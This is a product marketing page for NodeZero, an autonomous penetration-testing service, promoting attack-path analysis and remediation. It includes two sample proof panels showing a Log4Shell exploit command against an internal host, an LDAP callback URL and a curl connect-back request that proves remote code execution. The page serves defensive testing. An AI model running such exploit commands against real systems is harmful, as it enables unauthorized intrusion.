

NodeZero™

Autonomous Pentesting

The hardest part of cybersecurity is deciding what NOT to fix.

Prioritize by seeing your enterprise through the eyes of an attacker.



NodeZero Features

NodeZero is an on-demand, self-service SaaS platform that is safe to run in production and requires no persistent or credentialed agents. Not just a compliance checkbox, this is effective security to keep your company out of the headlines.

Critical Impacts

Tired of dealing with false positives? NodeZero filters the noise and identifies the critical impacts that must be fixed now, so you don't waste valuable time and resources chasing down vulnerabilities that don't pose a threat to the business.

Path

NodeZero's detailed path diagrams show you how NodeZero chains together vulnerabilities, harvested credentials, misconfigurations and dangerous product defaults into attack vectors that lead to critical impacts, so you can see exactly how an attacker can compromise your system.

Proof

Proof-of-exploit panels show you exactly how an attacker can compromise your system, while our fix action procedures provide you with detailed guidance on how to fix what was found.

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Proof
An application at or behind https://10.0.100.200 made a JNDI connection back to an LDAP server hosted at NodeZero

python3 /opt/h3/log4shell_exploit.py https://10.0.100.200 /opt/h3/nuclei-templates/log4shell-exploit/CVE-2021-44228-vcenter-exploit.yaml -i
10.0.220.53 --ldap_port 8080 --http_port 8080 --ldap_jar_path /opt/h3/jndi_server.jar --nuclei_path /opt/h3/nuclei --http_server_path
/opt/h3/m0_http_server.py -o output.json
Timestamp UTC: 2022-01-02 15:31:43
LDAP Callback URL: ldap://10.0.220.53:8080/c235b931c5d4200cc79b6a71d77f3c13/env/hostname/vcsa.o.lympus
    
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Proof
Proof of remote code execution via Log4Shell: The curl command was run on the target, causing it to connect back over HTTP to a web server running on NodeZero

python3 /opt/h3/log4shell_exploit.py https://10.0.100.200 /opt/h3/nuclei-templates/log4shell-exploit/CVE-2021-44228-vcenter-exploit.yaml -i
10.0.220.53 --ldap_port 8080 --http_port 8080 --ldap_jar_path /opt/h3/jndi_server.jar --nuclei_path /opt/h3/nuclei --http_server_path
/opt/h3/m0_http_server.py --no_output --no
Timestamp UTC: 2022-01-02 15:32:47
Connection from 10.0.100.200:59584 to 10.0.220.53:8080

HTTP Request:
GET /ping?format=json?l=+c2309931c5d4200cc79b6a71d77f3c13 HTTP/1.1
Host: 10.0.220.53:8080
User-Agent: curl/7.78.0
Accept: */*
    
```

Why NodeZero?



Accuracy – NodeZero will help you focus on fixing problems that matter, saving you and your team from chasing down unexploitable vulnerabilities and false positives.



Effort – You're up and running an automated penetration test in minutes using our self-service portal or API. There are no credentialed agents to install or attack scripts to write.



Speed – You can assess your entire organization in a matter of hours, versus waiting weeks or months for consultants to manually run scans and produce reports.



Coverage – With NodeZero, you can assess your entire network, not just a sample. Our algorithm fingerprints your external, internal, identity, on-prem, IoT, and cloud attack surfaces.



Remediation – Our goal is to create a bias for action – helping you quickly find exploitable problems, fix them and then verify that the problems no longer exist. Red and Blue teams must work together, and NodeZero sets the conditions for a Purple Team culture.



Unlimited – You may be secure today, but what about tomorrow when your environment has changed? Your NodeZero subscription is unlimited. Use it as often as needed to assess your security posture. Quickly compare to your previous results to verify where weaknesses have been fixed and see where new ones have been found.

Find

On-demand, self-service pentests
Attack paths spanning on-prem, cloud, perimeter
Chain misconfigurations, defaults, vulnerabilities,
and credentials at scale

Verify

Verify detection and response
Verify cyber resilience and systems hardening
Verify compliance and posture

Fix

Prioritize exploitable vulnerabilities
Secure critical data
Quickly remediate and retest

For more information, contact Vandis at info@vandis.com

